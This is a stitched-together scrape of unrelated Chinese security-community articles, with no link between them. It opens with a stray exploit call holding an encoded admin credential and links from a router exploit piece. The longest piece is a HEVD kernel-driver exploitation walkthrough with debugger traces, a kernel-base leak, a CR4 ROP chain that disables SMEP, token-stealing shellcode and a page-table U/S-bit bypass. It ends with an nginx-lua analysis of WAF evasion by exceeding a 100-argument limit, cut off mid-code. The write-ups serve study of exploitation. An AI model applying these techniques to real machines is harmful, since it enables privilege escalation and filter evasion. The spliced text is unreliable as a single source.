exp("FMHSNOEAAJAKZBNA","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")
## 参考
[Linux系统调用Hook姿势总结](https://blog.csdn.net/tianxuhong/article/details/50974400)
<https://www.anquanke.com/post/id/203486>
<https://www.youtube.com/watch?v=0_GsX2xhngU>
<https://ktln2.org/2020/03/29/exploiting-mips-router/>
<https://zhuanlan.zhihu.com/p/314170234>
<https://bbs.pediy.com/thread-212369.htm>
<https://blog.senr.io/blog/why-is-my-perfectly-good-shellcode-not-working-cache-coherency-on-mips-and-arm>
<https://www.anquanke.com/post/id/202219>
<http://www.tearorca.top/index.php/2020/04/21/cve-2020-8423tplink-wr841n-%E8%B7%AF%E7%94%B1%E5%99%A8%E6%A0%88%E6%BA%A2%E5%87%BA/> | 社区文章 |
# 【技术分享】HEVD内核漏洞训练之SMEP绕过
|
##### 译文声明
本文是翻译文章，文章来源：whereisk0shl.top
原文地址：<http://whereisk0shl.top/HEVD-with-SMEP-bypass.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
[**【技术分享】HEVD内核漏洞训练——陪Windows玩儿**](http://bobao.360.cn/learning/detail/3544.html)
**
**
**0x00 前言**
这篇的内容比较基础，也比较好玩，当然，一直看到袁哥提到的DVE bypass mitigation的，关于DVE感觉非常神奇，不过我还是不太了解，非常想学。
前两天在安全客发了一篇HEVD内核漏洞训练的文章，其中主要和大家分享了一下我的偶像MJ0011在HITCON上提到的Windows
8之后的新防护机制。后来Cn33liz又更新了一个HEVD Kernel StackOverflow的exp，正好提到了SMEP Bypass。
Cn33liz exp地址：<https://github.com/Cn33liz/HSEVD-StackOverflowX64>
而SMEP Bypass相关的show case有一个非常好的文章在：
https://www.coresecurity.com/system/files/publications/2016/05/Windows SMEP
bypass U-S.pdf
这里我尝试了文中提到的几种bypass SMEP的方法进行了尝试，和大家一起分享一下这个过程，在此之前想和大家说一下之前的一些误区。
首先在上一篇HEVD内核漏洞训练中，我提到关于NtAllocateVirtualMemory返回STATUS_SUCCESS之后仍然无法申请内存的问题，当时描述出了问题－－实际上，当NtAllocateVirtualMemory返回STATUS_SUCCESS之后内存已经是可以申请的了，只需要通过memset初始化内存即可。
经过和安全客小编的沟通，已经在文中修改了这处错误，实在抱歉！
第二点是关于Cn33liz的exploit中，在他构造rop chain的时候，覆盖的地址偏移是2072，我发现这个地址并非是ret
address，而是2088这个偏移才能够将rop chain的地址覆盖上。
上一篇在安全客的地址：<http://bobao.360.cn/learning/detail/3544.html>
在本文中，我对一种常见的获取内核信息的函数NtQuerySystemInformation进行了跟踪分析，对几种绕过SMEP的方法也进行了一些跟踪，感觉与系统博弈的过程还是艰辛又好玩的，做了一些总结然后和大家一起分享。请师傅们多多交流指正。
**0x01 SMEP**
SMEP有点像DEP，是内核的一种缓解措施，我们可以将它简单的理解成禁止在内核态下执行用户空间的代码，下面我们来看一下SMEP的作用，首先通过VirtualAlloc申请用户态空间，并将shellcode拷贝至空间。
kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`fcde14d0 cc int 3
kd> p
0033:00007ff7`fcde14d1 c3 ret
kd> dd e50000//VirtualAlloc 申请e50000内存，并部署shellcode
00000000`00e50000 148b4865 00018825 828b4c00 000000b8
00000000`00e50010 e8888b4d 49000002 8b48098b 8348f851
00000000`00e50020 057404fa eb098b48 418b48f1 49f02460
d> g//memcpy的时候中断调试，rsi向rdi内存拷贝畸形字符串
Breakpoint 0 hit
HEVD!TriggerStackOverflow+0xdf:
fffff800`02280bbf f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
kd> bp fffff80002280bc1
kd> r rsi
rsi=0000000000fe35d0
kd> dd fe35d0//查看寄存器覆盖情况
00000000`00fe35d0 90909090 90909090 90909090 90909090
可以看到，在HEVD中调用memcpy之后，会覆盖到内核栈中的返回地址，在ret返回的时候，会由于栈溢出，跳转到我们之前部署的shellcode的地址e50000位置，这是用户态空间，SMEP开始工作了。
kd> !analyze -v//SMEP引发BSOD，ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
SMEP会导致BSOD，报错内容是ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY。
**0x02 NtQuerySystemInformation的工作**
正如开始的时候我说SMEP有点像DEP，绕过DEP比较常见的方法就是ROP，因此对抗SMEP的常见方法也是比较简单的方法也是ROP，在DEP中构造ROP需要dll的基址，其实在SMEP中构造ROP需要动态链接库内核的地址，而获取内核地址的一种非常好用的方法就是NtQuerySystemInformation。
当然，这个函数在Medium Integrity下是可以工作的，但是在Low Integrity下是无法获取内核信息的，不过基本都是在Medium
Integrity下进行的，只有在微软的一些沙盒中是不能用的，要用其他方法来泄露内核地址。（还记得bitmap吗！也是GdiSharedHandleTable不能用之后改用了gsharedinfo）
首先来看一下NtQuerySystemInformation的工作，先从用户态进入内核态，在64位下通过syscall进入。
ntdll!NtQuerySystemInformation:
0033:00007ffe`33f17e30 4c8bd1 mov r10,rcx
0033:00007ffe`33f17e33 b835000000 mov eax,35h
0033:00007ffe`33f17e38 0f05 syscall//通过syscall进入内核态
0033:00007ffe`33f17e3a c3 ret
在NtQuerySystemInformation传入参数中，第一个表示功能号，这里我们使用的是功能号为11。在NtQuerySystemInformation中会对功能号进行判断，当功能号为11的时候，会执行一些函数调用进行相应的逻辑处理。
kd> g
Breakpoint 1 hit
nt!NtQuerySystemInformation://进入内核态 nt!NtQuerySystemInformation
fffff801`dc7d1390 4053 push rbx
kd> r rcx//系统功能号 11
rcx=000000000000000b
kd> g
Breakpoint 2 hit//采取ecx自减的方法，当ecx为0命中功能号
nt!ExpQuerySystemInformation+0x541:
fffff801`dc7d196d ffc9 dec ecx
kd> p
nt!ExpQuerySystemInformation+0x543:
fffff801`dc7d196f 0f85dc9f1700 jne nt! ?? ::NNGAKEGL::`string'+0x1bd51 (fffff801`dc94b951)
kd> r ecx//此时，ecx为0，进入功能号为11的逻辑处理
ecx=0
kd> p
nt!ExpQuerySystemInformation+0x549:
fffff801`dc7d1975 418acb mov cl,r11b
kd> p
nt!ExpQuerySystemInformation+0x54c:
fffff801`dc7d1978 e863800d00 call nt!ExIsRestrictedCaller (fffff801`dc8a99e0)//检查是否是受限调用
kd> p
nt!ExpQuerySystemInformation+0x551://返回值eax
fffff801`dc7d197d 85c0 test eax,eax
kd> p
nt!ExpQuerySystemInformation+0x553:
fffff801`dc7d197f 0f8547a01700 jne nt! ?? ::NNGAKEGL::`string'+0x1bdcc (fffff801`dc94b9cc)
kd> r eax// eax为0，非受限调用，可以继续执行下面的获取nt的基址的逻辑
eax=0
kd> p
nt!ExpQuerySystemInformation+0x559://gs指向_kpcr
fffff801`dc7d1985 65488b042588010000 mov rax,qword ptr gs:[188h]
kd> dt nt!_KPCR
+0x180 Prcb : _KPRCB
kd> dt nt!_KPRCB
+0x008 CurrentThread : Ptr64 _KTHREAD
在功能号为11的逻辑处理中，主要获取内核模块信息的函数是ExpQuerySystemInformation，这个函数中，首先会获得内核的KTHREAD信息，保存至rax中，gs指向kpcr，偏移180h的位置是kprcb，偏移再加8h则指向KTHREAD。接下来会将KernelApcDisable置true。然后会锁定获取资源。
kd> p
nt!ExpQuerySystemInformation+0x562://KTHREAD+1E4位置自减，就是KernelApcDisable自减
fffff801`dc7d198e 66ff88e4010000 dec word ptr [rax+1E4h]
kd> r rax
rax=ffffe00001cac880
kd> !process
PROCESS ffffe00001252900
THREAD ffffe00001cac880
kd> dt nt!_KTHREAD KernelApcDisable
+0x1e4 KernelApcDisable : Int2B
kd> p
nt!ExpQuerySystemInformation+0x569:
fffff801`dc7d1995 418ad5 mov dl,r13b
kd> dt nt!_KTHREAD KernelApcDisable ffffe00001cac880
+0x1e4 KernelApcDisable : 0n-1
kd> p
nt!ExpQuerySystemInformation+0x56c:
fffff801`dc7d1998 488d0da18fefff lea rcx,[nt!PsLoadedModuleResource (fffff801`dc6ca940)]//指定资源
kd> p
nt!ExpQuerySystemInformation+0x573:
fffff801`dc7d199f e8bc12c6ff call nt!ExAcquireResourceExclusiveLite (fffff801`dc432c60)//获取线程独占访问资源
kd> r rdx//wait = true调用者进入等待状态，直到获取资源
rdx=0000000000000001//
随后会进入核心的模块查询函数，这个ExpQueryModuleInformation会遍历kernel的psLoadedModuleList链来获取kernel信息，保存在buffer里，buffer的长度是RTL_PROCESS_MODULE_INFORMATION结构体的长度，然后恢复KernelApcDisable
kd> p
nt!ExpQuerySystemInformation+0x57d:
fffff801`dc7d19a9 458bc6 mov r8d,r14d
kd> p
nt!ExpQuerySystemInformation+0x580:
fffff801`dc7d19ac 488bd3 mov rdx,rbx
kd> p
nt!ExpQuerySystemInformation+0x583:
fffff801`dc7d19af e8acb60800 call nt!ExpQueryModuleInformation (fffff801`dc85d060)
kd> p
nt!ExpQuerySystemInformation+0x588:
fffff801`dc7d19b4 89442430 mov dword ptr [rsp+30h],eax//结构信息存入
kd> dd ffffd00021bc7434
ffffd000`21bc7434 0000ad78 dc444a01 fffff801 03b10000
ffffd000`21bc7444 ffffe000 00000000 fffff801 00000000
kd> p
nt!ExpQuerySystemInformation+0x58c:
fffff801`dc7d19b8 488d0d818fefff lea rcx,[nt!PsLoadedModuleResource (fffff801`dc6ca940)]
kd> p
nt!ExpQuerySystemInformation+0x593:
fffff801`dc7d19bf e8cc1ac6ff call nt!ExReleaseResourceLite (fffff801`dc433490)//释放资源
kd> p
nt!ExpQuerySystemInformation+0x598://读取KTHREAD
fffff801`dc7d19c4 65488b0c2588010000 mov rcx,qword ptr gs:[188h]
kd> p
nt!ExpQuerySystemInformation+0x5a1://获得KernelApcDisable
fffff801`dc7d19cd 0fbf81e4010000 movsx eax,word ptr [rcx+1E4h]
kd> p
nt!ExpQuerySystemInformation+0x5a8://自加恢复
fffff801`dc7d19d4 ffc0 inc eax
kd> p
nt!ExpQuerySystemInformation+0x5aa:
fffff801`dc7d19d6 668981e4010000 mov word ptr [rcx+1E4h],ax
kd> p
nt!ExpQuerySystemInformation+0x5b1://处于恢复状态
fffff801`dc7d19dd 6685c0 test ax,ax
kd> dt nt!_KTHREAD KernelApcDisable ffffe00001cac880
+0x1e4 KernelApcDisable : 0n0
返回后，直接读取这个buffer，对应就是RTL_PROCESS_MODULES对象，直接读对象的ImageAddress就是模块内核地址了，然后就是构造ROP
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
接下来我们来看一下通过IDA反汇编的相关函数的伪代码，对应内容我在代码后面写了注释。
int __fastcall ExpQuerySystemInformation(signed int a1, int *a2, unsigned int a3, unsigned __int64 a4, unsigned int Size, signed int *a6)
{
⋯⋯
v7 = a1;//将功能号的值交给v7
⋯⋯
if ( v7 == 11 )//在ExpQuerySystemInformation中会有很多if语句对功能号进行判断，对应功能号执行对应操作，当功能号为11时
{
if ( ExIsRestrictedCaller((unsigned int)(v7 - 11), a2, 5368709120i64) )//检查是否是受限调用
return -1073741790;
*(_WORD *)(*MK_FP(__GS__, 392i64) + 484i64) = *(_WORD *)(*MK_FP(__GS__, 392i64) + 484i64) - 1;
ExAcquireResourceExclusiveLite(&PsLoadedModuleResource, v11);//v11的值为1，会等待当前资源释放
v35 = ExpQueryModuleInformation(v34, (_DWORD *)v6, v12, &v166);//PsLoadedModuleList链读取Modules信息，RTL_PROCESS_MODULES结构
LABEL_95:
v165 = v35;
ExReleaseResourceLite(&PsLoadedModuleResource);//释放资源
v36 = *MK_FP(__GS__, 392i64);
v37 = *(_WORD *)(*MK_FP(__GS__, 392i64) + 484i64) + 1;
*(_WORD *)(*MK_FP(__GS__, 392i64) + 484i64) = v37;
if ( !v37 && *(_QWORD *)(v36 + 152) != v36 + 152 && !*(_WORD *)(v36 + 486) )
KiCheckForKernelApcDelivery();
goto LABEL_40;
}
⋯⋯
}
**0x03 bypass SMEP ROP chain**
在Win8 x64 Medium Integrity下，可以用NtQueryInformation直接获得bypass SMEP的ROP
chain。首先可以得到nt的kernel address，通过NTQuerySystemInformation。
kd> p
Bypass_SMEP!GetKernelBase+0x8b:
0033:00007ff7`0075108b 33d2 xor edx,edx
kd> r rbx
rbx=fffff801dc403000
这个nt kernel address就是fffff801dc403000，我们接下来构造的ROP
chain可以在nt中找到。关于SMEP的控制，取决于cr4寄存器，这个寄存器的比特位们代表了不同的内容。其中，第20位表示的是SMEP的开关。我们可以利用ROP
Chain来关闭这个比特位。因此我们需要2个ROP gadgets。
fffff801`dc54fa10 nt!HvlEndSystemInterrupt = <no type information> 506f8 909090909090 +14CA30
0033:fffff801`dc54fa30 59 pop rcx
0033:fffff801`dc54fa31 c3 ret
fffff801`dc5ddba8 nt!KeWakeProcessor = <no type information> 1506f8 +1DABFC
0033:fffff801`dc5ddbfc 0f22e1 mov cr4,rcx
0033:fffff801`dc5ddbff c3 ret
第一个用于将想修改的cr4的值，交给rcx，第二个用于修改cr4寄存器的值。获取win8下cr4的值，其中，第20bit描述的是SMEP，将其置0关闭SMEP。
kd> bc 0
kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow+0x11c://驱动返回位置
fffff800`02280bfc c3 ret
kd> r rsp
rsp=ffffd0002381e7c8
kd> dd ffffd0002381e7c8//由于栈溢出，返回地址被覆盖，先是ROP Chain
ffffd000`2381e7c8 dc54fa30 fffff801 000506f8 00000000
ffffd000`2381e7d8 dc5ddbfc fffff801 00a60000 00000000
ffffd000`2381e7e8 90909090 90909090 90909090 90909090
ffffd000`2381e7f8 90909090 90909090 dc54fa30 fffff801
ffffd000`2381e808 001506f8 00000000 dc5ddbfc fffff801
ffffd000`2381e818 02281f6e fffff800 0231d010 ffffe000
ffffd000`2381e828 0231d0e0 ffffe000 03c3aa80 ffffe000
ffffd000`2381e838 0000000e 00000000 00222003 00000000
kd> p//进入第一个ROP gadget pop rcx获取要修改cr4的值
nt+0x14ca30:
fffff801`dc54fa30 59 pop rcx
kd> p
nt+0x14ca31:
fffff801`dc54fa31 c3 ret
kd> p//将rcx交给cr4，修改cr4的值
nt+0x1dabfc:
fffff801`dc5ddbfc 0f22e1 mov cr4,rcx
kd> r cr4//cr4当前值，20bit位置值为1
cr4=00000000001506f8
kd> p
nt+0x1dabff:
fffff801`dc5ddbff c3 ret
kd> r cr4//修改后，20bit位置值为0
cr4=00000000000506f8
kd> p//ret后进入shellcode部分，可以执行了
00000000`00a60000 65488b142588010000 mov rdx,qword ptr gs:[188h]
kd> p
00000000`00a60009 4c8b82b8000000 mov r8,qword ptr [rdx+0B8h]
可以看到，这次跳转到a60000这个用户地址空间后，也可以继续执行shellcode代码了，cr4的20bit位置置0了，SMEP并没有工作，等待替换token之后，再将cr4寄存器恢复即可。最后提权完成。
**0x04 另一种SMEP绕过方法**
在开头，我提到了一篇比较有意思的show
case，里面提到了一种另类的ROP方法，就是用来欺骗SMEP，在pxe中，有一位表示的是U/S，如果我们将这一位修改，让SMEP认为用户空间是可以执行代码的。
首先，我们需要修改之前NtQuerySystemInformation函数获取的内容，来获取hal的内核地址。
00000000`01120140 68828000 fffff801 00075000 08804000 ...h.....P...@..
00000000`01120150 00000001 00150022 7379535c 526d6574 ...."...SystemR
00000000`01120160 5c746f6f 74737973 32336d65 6c61685c ootsystem32hal
00000000`01120170 6c6c642e 00000000 00000000 00000000 .dll............
0033:00007ff7`157e10b0 4963c3 movsxd rax,r11d
0033:00007ff7`157e10b3 4869c028010000 imul rax,rax,128h//获得距离SYSTEM_MODULE_INFORMATION起始地址的偏移
0033:00007ff7`157e10ba 488d4c3830 lea rcx,[rax+rdi+30h]//30h是模块名称成员距离模块起始的偏移，rcx得到模块成员名称的地址
0033:00007ff7`157e10bf 493bc9 cmp rcx,r9//判断模块名称是否是我们需要的模块名称
0033:00007ff7`157e10c2 7503 jne Bypass_SMEP!GetKernelBase+0xc7 (00007ff7`157e10c7)
0033:00007ff7`157e10c4 488b1a mov rbx,qword ptr [rdx]
0033:00007ff7`157e10c7 41ffc3 inc r11d
修改的源码如下：
Int_3();
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
//try to catch HAL kernel address
for(i=0;i<ModuleInfo->NumberOfModules;i++)
{
if(!strcmp(ModuleInfo->Module[i].Name,"\SystemRoot\system32\hal.dll"))
{
kernelBase = ModuleInfo->Module[i].ImageBaseAddress;
break;
}
}
在构造rop chain的时候，我们需要下面几个rop gadgets。
1、mov rsp,48000000df jmp to user space//maybe不用？
2、pop rcx with 0x63 to reset pxe
3、pop rax with pxe(my_addr)-3
4、mov [rax],ecx
5、invalid TLB(会更新PTE，导致U/S位失效)wbinvd
6、ret to shellcode
本来想试验这个过程，但是有些rop gadget无法获取了，读那个文章中，作者提到了一个stack
pivot的地址，利用的是HalpTscTraceProcessorSynchronization函数中的一个位置，可以使rsp栈帧跳转到480000df地址，这是可以通过用户申请的。
但我没有找到这样的地址，我尝试在hal内存空间中搜索这样的rop
gadget，也没有找到，但我觉得这个并不影响，可以通过virtualalloc申请，把第二个rop gadget先覆盖在ret即可。
第二个rop gadget需要将0x63赋值给rcx寄存器，这个值用于重新设置pxe中的U/S位。
第三个rop gadget需要将pxe的值交给rax。
kd> !pte fffff80aa2c35bfc
VA fffff80aa2c35bfc
PXE at FFFFF6FB7DBEDF80 PPE at FFFFF6FB7DBF0150 PDE at FFFFF6FB7E02A8B0 PTE at FFFFF6FC055161A8
Unable to get PXE FFFFF6FB7DBEDF80
第四个rop gadget需要修改pxe的u/s位，也就是mov [rax],ecx。
这里比较有趣的就是第五个rop gadget，这是hal.dll中的一个invalid TLB
cache，禁用快表，因为虚拟地址和物理地址转换的时候，有可能会去TLB中直接搜索缓存的地址，如果命中就直接提取。
这里禁用TLB之后，就可以直接去PTE中找对应地址。令我们修改后的U/S起效果。wbinvd汇编指令会禁用这个缓存。
.text:00000001C003B8A0 HalpAcpiFlushCache proc near ; CODE XREF: HalpFlushAndWait+9p
.text:00000001C003B8A0 ; HalpDpOfflineProcessorForReplace+57p
.text:00000001C003B8A0 ; DATA XREF: ...
.text:00000001C003B8A0 wbinvd
.text:00000001C003B8A2 retn
.text:00000001C003B8A2 HalpAcpiFlushCache endp
个人感觉比较好用的还是cr4的方法，后者之所以提及，是因为pxe和invalid TLB这两个rop
gadget的方法特别有意思。关于SMEP的绕过方法应该还有，内核有很多可以开脑洞的地方，期待更多的研究成果与大家分享，感谢！
**传送门**
* * *
**[【技术分享】HEVD内核漏洞训练——陪Windows玩儿](http://bobao.360.cn/learning/detail/3544.html)** | 社区文章 |
一、环境搭建
Nginx_lua 安装
<https://github.com/openresty/lua-nginx-module#installation>
wget 'https://openresty.org/download/nginx-1.19.3.tar.gz'
tar -xzvf nginx-1.19.3.tar.gz
cd nginx-1.19.3/
# tell nginx's build system where to find LuaJIT 2.0:
export LUAJIT_LIB=/path/to/luajit/lib
export LUAJIT_INC=/path/to/luajit/include/luajit-2.0
# tell nginx's build system where to find LuaJIT 2.1:
export LUAJIT_LIB=/path/to/luajit/lib
export LUAJIT_INC=/path/to/luajit/include/luajit-2.1
# Here we assume Nginx is to be installed under /opt/nginx/.
./configure --prefix=/opt/nginx \
--with-ld-opt="-Wl,-rpath,/path/to/luajit/lib" \
--add-module=/path/to/ngx_devel_kit \
--add-module=/path/to/lua-nginx-module
# Note that you may also want to add `./configure` options which are used in your
# current nginx build.
# You can get usually those options using command nginx -V
# you can change the parallism number 2 below to fit the number of spare CPU cores in your
# machine.
make -j2
make install
安装完之后可以在nginx.conf 写入配置。可以动态在Nginx 层面进行过滤和调度
这里使用一个很简单的方式来展示绕过的原理
location = /api2 {
content_by_lua_block {
tmp=''
for i,v in pairs(ngx.req.get_uri_args()) do
if type(i)=='string' then
tmp=tmp..i..' '
end
end
ngx.header.content_type = "application/json;"
ngx.status = 200
ngx.say(tmp)
ngx.exit(200)
}
}
这里是意思是访问/api2
然后返回get的所有参数。默认他是接受100个参数。当超过100个参数的时候会默认不会记录。这样达成了一个绕过的一个方式。演示如下：
首先先发送两个id 过去试试
那么试试id1->id100
a=''
for i in range(1,102):
a=a+'id'+str(i)+'=11&'
print(a)
GET /api2?id1=11&id2=11&id3=11&id4=11&id5=11&id6=11&id7=11&id8=11&id9=11&id10=11&id11=11&id12=11&id13=11&id14=11&id15=11&id16=11&id17=11&id18=11&id19=11&id20=11&id21=11&id22=11&id23=11&id24=11&id25=11&id26=11&id27=11&id28=11&id29=11&id30=11&id31=11&id32=11&id33=11&id34=11&id35=11&id36=11&id37=11&id38=11&id39=11&id40=11&id41=11&id42=11&id43=11&id44=11&id45=11&id46=11&id47=11&id48=11&id49=11&id50=11&id51=11&id52=11&id53=11&id54=11&id55=11&id56=11&id57=11&id58=11&id59=11&id60=11&id61=11&id62=11&id63=11&id64=11&id65=11&id66=11&id67=11&id68=11&id69=11&id70=11&id71=11&id72=11&id73=11&id74=11&id75=11&id76=11&id77=11&id78=11&id79=11&id80=11&id81=11&id82=11&id83=11&id84=11&id85=11&id86=11&id87=11&id88=11&id89=11&id90=11&id91=11&id92=11&id93=11&id94=11&id95=11&id96=11&id97=11&id98=11&id99=11&id100=11&id101=11 HTTP/1.1
Host: 192.168.1.70
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Connection: close
返回从1-100
id76 id74 id64 id62 id60 id61 id5 id73 id71 id14 id91 id15 id20 id22 id12 id66 id13 id32 id10 id31 id33 id11 id92 id21 id84 id93 id85 id67 id30 id83 id58 id3 id88 id59 id98 id68 id69 id81 id48 id49 id8 id9 id25 id24 id26 id16 id79 id17 id36 id35 id18 id89 id99 id29 id28 id100 id97 id96 id95 id94 id6 id38 id90 id87 id39 id86 id19 id82 id80 id42 id56 id78 id52 id77 id75 id57 id44 id53 id7 id54 id72 id50 id1 id46 id55 id70 id51 id65 id23 id2 id40 id37 id4 id43 id47 id27 id41 id45 id34 id63
但是没有id101 那么这个id101 哪里去了呢？
那么看看ngx.req.get_uri_args() 这个函数是怎么实现的
二、源码解析
参考文章:
<https://blog.csdn.net/liujiyong7/article/details/37692027>
src/ngx_http_lua_module.c为模块主入口文件
注册函数的写法有统一的格式：
static int
ngx_http_lua_ngx_req_get_method(lua_State *L)
{
int n;
ngx_http_request_t *r;
n = lua_gettop(L);
if (n != 0) {
return luaL_error(L, "only one argument expected but got %d", n);
}
r = ngx_http_lua_get_req(L);//从lua全局变量得到request结构体指针，见4.2.2
if (r == NULL) {
return luaL_error(L, "request object not found");
}
ngx_http_lua_check_fake_request(L, r);//检查r合法性
lua_pushlstring(L, (char *) r->method_name.data, r->method_name.len);//将method压栈
return 1;
}
注册get_uri_args 在
所有的nginx api for lua注册在lua-nginx-module/src/ngx_http_lua_util.c:ngx_http_lua_inject_ngx_api 函数中
与request有关的注册在lua-nginx-module/src/ngx_http_lua_util.c:
ngx_http_lua_inject_req_api 函数中
ngx_http_lua_inject_ngx_api 函数
static void
ngx_http_lua_inject_ngx_api(lua_State *L, ngx_http_lua_main_conf_t *lmcf,
ngx_log_t *log)
{
lua_createtable(L, 0 /* narr */, 113 /* nrec */); /* ngx.* */
lua_pushcfunction(L, ngx_http_lua_get_raw_phase_context);
lua_setfield(L, -2, "_phase_ctx");
ngx_http_lua_inject_arg_api(L);
ngx_http_lua_inject_http_consts(L);
ngx_http_lua_inject_core_consts(L);
ngx_http_lua_inject_log_api(L);
ngx_http_lua_inject_output_api(L);
ngx_http_lua_inject_string_api(L);
ngx_http_lua_inject_control_api(log, L);
ngx_http_lua_inject_subrequest_api(L);
ngx_http_lua_inject_sleep_api(L);
ngx_http_lua_inject_req_api(log, L);
ngx_http_lua_inject_resp_header_api(L);
ngx_http_lua_create_headers_metatable(log, L);
ngx_http_lua_inject_shdict_api(lmcf, L);
ngx_http_lua_inject_socket_tcp_api(log, L);
ngx_http_lua_inject_socket_udp_api(log, L);
ngx_http_lua_inject_uthread_api(log, L);
ngx_http_lua_inject_timer_api(L);
ngx_http_lua_inject_config_api(L);
lua_getglobal(L, "package"); /* ngx package */
lua_getfield(L, -1, "loaded"); /* ngx package loaded */
lua_pushvalue(L, -3); /* ngx package loaded ngx */
lua_setfield(L, -2, "ngx"); /* ngx package loaded */
lua_pop(L, 2);
lua_setglobal(L, "ngx");
ngx_http_lua_inject_coroutine_api(log, L);
}
ngx_http_lua_inject_req_api 函数
void
ngx_http_lua_inject_req_api(ngx_log_t *log, lua_State *L)
{
/* ngx.req table */
lua_createtable(L, 0 /* narr */, 23 /* nrec */); /* .req */
ngx_http_lua_inject_req_header_api(L);
ngx_http_lua_inject_req_uri_api(log, L);
ngx_http_lua_inject_req_args_api(L);
ngx_http_lua_inject_req_body_api(L);
ngx_http_lua_inject_req_socket_api(L);
ngx_http_lua_inject_req_misc_api(L);
lua_setfield(L, -2, "req");
}
看着应该是ngx_http_lua_inject_req_uri_api 和 ngx_http_lua_inject_req_args_api 比较像
跟踪一下这两个函数
ngx_http_lua_inject_req_uri_api
void
ngx_http_lua_inject_req_uri_api(ngx_log_t *log, lua_State *L)
{
lua_pushcfunction(L, ngx_http_lua_ngx_req_set_uri);
lua_setfield(L, -2, "set_uri");
}
ngx_http_lua_inject_req_args_api
ngx_http_lua_inject_req_args_api(lua_State *L)
{
lua_pushcfunction(L, ngx_http_lua_ngx_req_set_uri_args);
lua_setfield(L, -2, "set_uri_args");
lua_pushcfunction(L, ngx_http_lua_ngx_req_get_post_args);
lua_setfield(L, -2, "get_post_args");
}}
这里只有set_uri_args 和get_post_args 并没有找到get_uri_args
这里陷入了深深的沉思
全局搜索下只有ngx_http_lua_ffi_req_get_uri_args 这一个函数是相关的 。
这个函数在src/ngx_http_lua_args.c
三、查看get_post_args 这个函数过程
首先看一下get_post_args 这个一个过程吧
注册为get_post_args 那么nginx内部的调用方式为ngx.req.get_post_args
lua_pushcfunction(L, ngx_http_lua_ngx_req_get_post_args);
lua_setfield(L, -2, "get_post_args");
ngx_http_lua_ngx_req_get_post_args 函数体
static int
ngx_http_lua_ngx_req_get_post_args(lua_State *L)
{
ngx_http_request_t *r;
u_char *buf;
int retval;
size_t len;
ngx_chain_t *cl;
u_char *p;
u_char *last;
int n;
int max;
n = lua_gettop(L);
if (n != 0 && n != 1) {
return luaL_error(L, "expecting 0 or 1 arguments but seen %d", n);
}
if (n == 1) {
max = luaL_checkinteger(L, 1);
lua_pop(L, 1);
} else {
max = NGX_HTTP_LUA_MAX_ARGS;
}
r = ngx_http_lua_get_req(L);
if (r == NULL) {
return luaL_error(L, "no request object found");
}
ngx_http_lua_check_fake_request(L, r);
if (r->discard_body) {
lua_createtable(L, 0, 0);
return 1;
}
if (r->request_body == NULL) {
return luaL_error(L, "no request body found; "
"maybe you should turn on lua_need_request_body?");
}
if (r->request_body->temp_file) {
lua_pushnil(L);
lua_pushliteral(L, "request body in temp file not supported");
return 2;
}
if (r->request_body->bufs == NULL) {
lua_createtable(L, 0, 0);
return 1;
}
/* we copy r->request_body->bufs over to buf to simplify
* unescaping query arg keys and values */
len = 0;
for (cl = r->request_body->bufs; cl; cl = cl->next) {
len += cl->buf->last - cl->buf->pos;
}
dd("post body length: %d", (int) len);
if (len == 0) {
lua_createtable(L, 0, 0);
return 1;
}
buf = ngx_palloc(r->pool, len);
if (buf == NULL) {
return luaL_error(L, "no memory");
}
lua_createtable(L, 0, 4);
p = buf;
for (cl = r->request_body->bufs; cl; cl = cl->next) {
p = ngx_copy(p, cl->buf->pos, cl->buf->last - cl->buf->pos);
}
dd("post body: %.*s", (int) len, buf);
last = buf + len;
retval = ngx_http_lua_parse_args(L, buf, last, max);
ngx_pfree(r->pool, buf);
return retval;
}
上述的关键的在于
max = NGX_HTTP_LUA_MAX_ARGS;
找到定义的NGX_HTTP_LUA_MAX_ARGS 默认为100
ifndef NGX_HTTP_LUA_MAX_ARGS
define NGX_HTTP_LUA_MAX_ARGS 100
endif
然后走到了ngx_http_lua_parse_args 这个函数
int
ngx_http_lua_parse_args(lua_State *L, u_char *buf, u_char *last, int max)
{
u_char *p, *q;
u_char *src, *dst;
unsigned parsing_value;
size_t len;
int count = 0;
int top;
top = lua_gettop(L);
p = buf;
parsing_value = 0;
q = p;
while (p != last) {
if (*p == '=' && ! parsing_value) {
/* key data is between p and q */
src = q; dst = q;
ngx_http_lua_unescape_uri(&dst, &src, p - q,
NGX_UNESCAPE_URI_COMPONENT);
dd("pushing key %.*s", (int) (dst - q), q);
/* push the key */
lua_pushlstring(L, (char *) q, dst - q);
/* skip the current '=' char */
p++;
q = p;
parsing_value = 1;
} else if (*p == '&') {
/* reached the end of a key or a value, just save it */
src = q; dst = q;
ngx_http_lua_unescape_uri(&dst, &src, p - q,
NGX_UNESCAPE_URI_COMPONENT);
dd("pushing key or value %.*s", (int) (dst - q), q);
/* push the value or key */
lua_pushlstring(L, (char *) q, dst - q);
/* skip the current '&' char */
p++;
q = p;
if (parsing_value) {
/* end of the current pair's value */
parsing_value = 0;
} else {
/* the current parsing pair takes no value,
* just push the value "true" */
dd("pushing boolean true");
